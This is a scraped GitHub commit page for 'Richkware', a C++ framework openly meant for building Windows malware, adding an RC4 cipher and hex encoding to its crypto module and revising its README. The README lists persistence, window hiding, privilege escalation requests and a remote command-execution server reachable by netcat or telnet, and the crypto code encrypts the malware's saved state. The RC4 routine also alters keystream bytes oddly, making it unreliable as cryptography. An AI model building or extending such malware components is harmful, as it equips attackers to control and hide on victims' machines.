Skip to content

Commit

Permalink
add RC4 encryption algorithm.
Browse files Browse the repository at this point in the history
  • Loading branch information
richkmeli committed Aug 28, 2017
1 parent 4318e68 commit d690180
Show file tree
Hide file tree
Showing 7 changed files with 161 additions and 53 deletions.
2 changes: 1 addition & 1 deletion CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,4 @@ set (PROJECT_SOURCE_DIR src)

file(GLOB SOURCE_FILES ${PROJECT_SOURCE_DIR}/*.cpp ${PROJECT_SOURCE_DIR}/*.h main.cpp)

add_executable(Richkware.exe ${SOURCE_FILES})
add_executable(Richkware ${SOURCE_FILES})
26 changes: 18 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ to assume behaviors referable to the following types of malware:

## Related Projects

[Richkware-Manager-Server](https://github.com/richkmeli/Richkware-Manager-Server): Service for management of hosts where is present a malware developped using **Richkware** framework.
[Richkware-Manager-Server](https://github.com/richkmeli/Richkware-Manager-Server): Service for management of hosts where is present a malware developed using **Richkware** framework.

[Richkware-Manager-Client](https://github.com/richkmeli/Richkware-Manager-Client): Client of **Richkware-Manager-Server**, that obtains list of all hosts and is able to send commands to do at each of them.

Expand All @@ -27,7 +27,7 @@ to assume behaviors referable to the following types of malware:

### Network

- **Server** (*network.h*): module for the managment of a multi-thread server, that allow to receive commands from Internet([Richkware-Manager-Client](https://github.com/richkmeli/Richkware-Manager-Client) or console) according to the specific protocol.
- **Server** (*network.h*): module for the management of a multi-thread server, that allow to receive commands from Internet([Richkware-Manager-Client](https://github.com/richkmeli/Richkware-Manager-Client) or console) according to the specific protocol.
- **Protocol** (*protocol.h*):
1. **Remotely command execution** (ID 1)
2. (work in progress)
Expand All @@ -41,7 +41,7 @@ to assume behaviors referable to the following types of malware:
- **SaveSession** and **LoadSession**: save the application state(encrypted) to:
- **Register** (SaveValueReg and LoadValueReg)
- **File** (SaveValueToFile and LoadValueFromFile)
- **Persistance**: install itself permanently in the system.
- **Persistence**: install itself permanently in the system.
- **IsAdmin** and **RequestAdminPrivileges** (*richkware.h*): check and require administrator privileges;

- **StealthWindow** (*richkware.h*): hide applications;
Expand All @@ -51,14 +51,21 @@ to assume behaviors referable to the following types of malware:

### Cryptography

- **Encrypt and Decrypt** (*crypto.h*): [Blowfish](https://en.wikipedia.org/wiki/Blowfish_(cipher))
- **Encode and Decode** (*crypto.h*): [Base64](https://en.wikipedia.org/wiki/Base64).
- **Encrypt and Decrypt** (*crypto.h*): [RC4](https://en.wikipedia.org/wiki/RC4) (default), [Blowfish](https://en.wikipedia.org/wiki/Blowfish_(cipher)).
- **Encode and Decode** (*crypto.h*): [Base64](https://en.wikipedia.org/wiki/Base64) (defualt), [Hex](https://en.wikipedia.org/wiki/Hexadecimal#Transfer_encoding).

### Other

- **RandMouse** (*richkware.h*): move randomly the mouse cursor;
- **Hibernation** (*richkware.h*): hibernate system.

## Requirements
These are the base requirements to build and use Richkware:

- Make or CMake
- [MinGW](http://www.mingw.org/)


## Compile

After **main.cpp** implementation, you can compile as follows.
Expand All @@ -74,7 +81,7 @@ After **main.cpp** implementation, you can compile as follows.

## Examples of usage

### Remotely command execution
### Remotely Command Execution

Call function **StartServer** in the main, it starts server on port 8000.

Expand All @@ -84,7 +91,10 @@ Call function **StartServer** in the main, it starts server on port 8000.
...
}

### Connect from Unix systems
### Connect using [Richkware-Manager-Client](https://github.com/richkmeli/Richkware-Manager-Client)
In all systems where the Java Virtual Machine is installed, you can use [Richkware-Manager-Client](https://github.com/richkmeli/Richkware-Manager-Client)

### Connect using terminal in Unix systems

In Unix systems, you can use **netcat**.

Expand All @@ -96,7 +106,7 @@ after the answer from the server about establishment of connection, write:

where COMMAND is the command to execute to the pc where server is running.

### Connect from Windows
### Connect using terminal in Windows

In Windows, you can use **telnet**.

Expand Down
3 changes: 3 additions & 0 deletions main.cpp
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
/*
* Copyright 2016 Riccardo Melioli. All Rights Reserved.
*/

#include "src/richkware.h"

Expand Down
155 changes: 116 additions & 39 deletions src/crypto.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -4,65 +4,62 @@

#include "crypto.h"


Crypto::Crypto(const std::string &encryptionKeyArg) {
encryptionKey = encryptionKeyArg;
blowfish = Blowfish(encryptionKeyArg);
rc4 = RC4();
}

Crypto::Crypto(const char* serverAddress, const char* port){
Crypto::Crypto(const char *serverAddress, const char *port) {

// asymmetric key exchange

}

Crypto& Crypto::operator=(const Crypto &crypto) {
Crypto &Crypto::operator=(const Crypto &crypto) {
encryptionKey = crypto.encryptionKey;
return *this;
}



std::string Crypto::Encrypt(std::string plaintext) {
std::string ciphertext;
plaintext = Base64_encode((const unsigned char *) plaintext.c_str(), plaintext.length());
//plaintext = string_to_hex(plaintext);

ciphertext = blowfish.Encrypt(plaintext);
char *in = &plaintext[0u];
ciphertext = rc4.EncryptDecrypt(in, encryptionKey.c_str());

/* // Make sure the key is at least as long as the message
std::string tmp(key);
while (key.size() < input.size())
key += tmp;
// And now for the encryption part
for (std::string::size_type i = 0; i < input.size(); ++i)
input[i] ^= key[i];
*/
ciphertext = Base64_encode((const unsigned char *) ciphertext.c_str(), ciphertext.length());
//ciphertext = string_to_hex(ciphertext);

return ciphertext;
}

std::string Crypto::Decrypt(std::string ciphertext) {
std::string plaintext;
ciphertext = Base64_decode(ciphertext);
//ciphertext = hex_to_string(ciphertext);

plaintext = blowfish.Decrypt(ciphertext);
char *in = &ciphertext[0u];
plaintext = rc4.EncryptDecrypt(in, encryptionKey.c_str());

/* // Make sure the key is at least as long as the message
std::string tmp(key);
while (key.size() < input.size())
key += tmp;
// And now for the encryption part
for (std::string::size_type i = 0; i < input.size(); ++i)
input[i] ^= key[i];
*/

plaintext = Base64_decode(plaintext);
//plaintext = hex_to_string(plaintext);
return plaintext;
}

std::string Vigenere(std::string input, std::string key){
std::string tmp(key);
while (key.size() < input.size())
key += tmp;

// And now for the encryption part
for (std::string::size_type i = 0; i < input.size(); ++i)
input[i] ^= key[i];
return input;
}


static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Expand All @@ -74,7 +71,7 @@ static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}

std::string Base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
std::string Base64_encode(unsigned char const *bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = 0;
int j = 0;
Expand All @@ -89,15 +86,14 @@ std::string Base64_encode(unsigned char const* bytes_to_encode, unsigned int in_
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;

for(i = 0; (i <4) ; i++)
for (i = 0; (i < 4); i++)
ret += base64_chars[char_array_4[i]];
i = 0;
}
}

if (i)
{
for(j = i; j < 3; j++)
if (i) {
for (j = i; j < 3; j++)
char_array_3[j] = '\0';

char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
Expand All @@ -108,7 +104,7 @@ std::string Base64_encode(unsigned char const* bytes_to_encode, unsigned int in_
for (j = 0; (j < i + 1); j++)
ret += base64_chars[char_array_4[j]];

while((i++ < 3))
while ((i++ < 3))
ret += '=';

}
Expand All @@ -117,18 +113,19 @@ std::string Base64_encode(unsigned char const* bytes_to_encode, unsigned int in_

}

std::string Base64_decode(std::string const& encoded_string) {
std::string Base64_decode(std::string const &encoded_string) {
size_t in_len = encoded_string.size();
size_t i = 0;
size_t j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std::string ret;

while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i ==4) {
for (i = 0; i <4; i++)
while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_];
in_++;
if (i == 4) {
for (i = 0; i < 4; i++)
char_array_4[i] = static_cast<unsigned char>(base64_chars.find(char_array_4[i]));

char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
Expand All @@ -142,10 +139,10 @@ std::string Base64_decode(std::string const& encoded_string) {
}

if (i) {
for (j = i; j <4; j++)
for (j = i; j < 4; j++)
char_array_4[j] = 0;

for (j = 0; j <4; j++)
for (j = 0; j < 4; j++)
char_array_4[j] = static_cast<unsigned char>(base64_chars.find(char_array_4[j]));

char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
Expand Down Expand Up @@ -453,7 +450,6 @@ void Blowfish::SetKey(const char *keyT, size_t byte_length) {
}

std::string Blowfish::Encrypt(const std::string &src) const {

std::vector<char> dst(src.begin(), src.end());

size_t padding_length = dst.size() % sizeof(uint64_t);
Expand Down Expand Up @@ -529,3 +525,84 @@ uint32_t Blowfish::Feistel(uint32_t value) const {

return ((sbox_[0][a] + sbox_[1][b]) ^ sbox_[2][c]) + sbox_[3][d];
}


std::string string_to_hex(const std::string &input) {
static const char *const lut = "0123456789ABCDEF";
size_t len = input.length();

std::string output;
output.reserve(2 * len);
for (size_t i = 0; i < len; ++i) {
const unsigned char c = input[i];
output.push_back(lut[c >> 4]);
output.push_back(lut[c & 15]);
}
return output;
}


std::string hex_to_string(const std::string &input) {
static const char *const lut = "0123456789ABCDEF";
size_t len = input.length();
if (len & 1) throw std::invalid_argument("odd length");

std::string output;
output.reserve(len / 2);
for (size_t i = 0; i < len; i += 2) {
char a = input[i];
const char *p = std::lower_bound(lut, lut + 16, a);
if (*p != a) throw std::invalid_argument("not a hex digit");

char b = input[i + 1];
const char *q = std::lower_bound(lut, lut + 16, b);
if (*q != b) throw std::invalid_argument("not a hex digit");

output.push_back(((p - lut) << 4) | (q - lut));
}
return output;
}


#define SWAP(a, b) ((a) ^= (b), (b) ^= (a), (a) ^= (b))


RC4::RC4() {
memset(sbox, 0, 256);
memset(key, 0, 256);
}

RC4::~RC4() {
memset(sbox, 0, 256); /* remove Key traces in memory */
memset(key, 0, 256);
}

char *RC4::EncryptDecrypt(char *pszText, const char *pszKey) {
i = 0, j = 0, n = 0;
ilen = (int) strlen(pszKey);

for (m = 0; m < 256; m++) /* Initialize the key sequence */
{
*(key + m) = *(pszKey + (m % ilen));
*(sbox + m) = m;
}
for (m = 0; m < 256; m++) {
n = (n + *(sbox + m) + *(key + m)) & 0xff;
SWAP(*(sbox + m), *(sbox + n));
}

ilen = (int) strlen(pszText);
for (m = 0; m < ilen; m++) {
i = (i + 1) & 0xff;
j = (j + *(sbox + i)) & 0xff;
SWAP(*(sbox + i), *(sbox + j)); /* randomly Initialize
the key sequence */
k = *(sbox + ((*(sbox + i) + *(sbox + j)) & 0xff));
if (k == *(pszText + m)) /* avoid '\0' among the
encoded text; */
k = 0;
*(pszText + m) ^= k;
}

return pszText;
}
20 changes: 19 additions & 1 deletion src/crypto.h
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,19 @@
#include <cstddef>
#include <vector>
#include <cstring>
#include <algorithm>
#include <stdexcept>

class RC4 {
public:
RC4();
virtual ~RC4();
char *EncryptDecrypt(char *pszText, const char *pszKey);
private:
unsigned char sbox[256];
unsigned char key[256], k;
int m, n, i, j, ilen;
};

class Blowfish {
public:
Expand All @@ -31,10 +44,12 @@ class Blowfish {
uint32_t sbox_[4][256];
};

std::string Vigenere(std::string input, std::string key);

class Crypto {
private:
std::string encryptionKey;
Blowfish blowfish;
RC4 rc4;
public:
Crypto() {}
Crypto(const std::string &encryptionKeyArg);
Expand All @@ -51,4 +66,7 @@ class Crypto {
std::string Base64_encode(unsigned char const *, unsigned int len);
std::string Base64_decode(std::string const &s);

std::string hex_to_string(const std::string& input);
std::string string_to_hex(const std::string& input);

#endif /* CRYPTO_H_ */
Loading

0 comments on commit d690180

Please sign in to comment.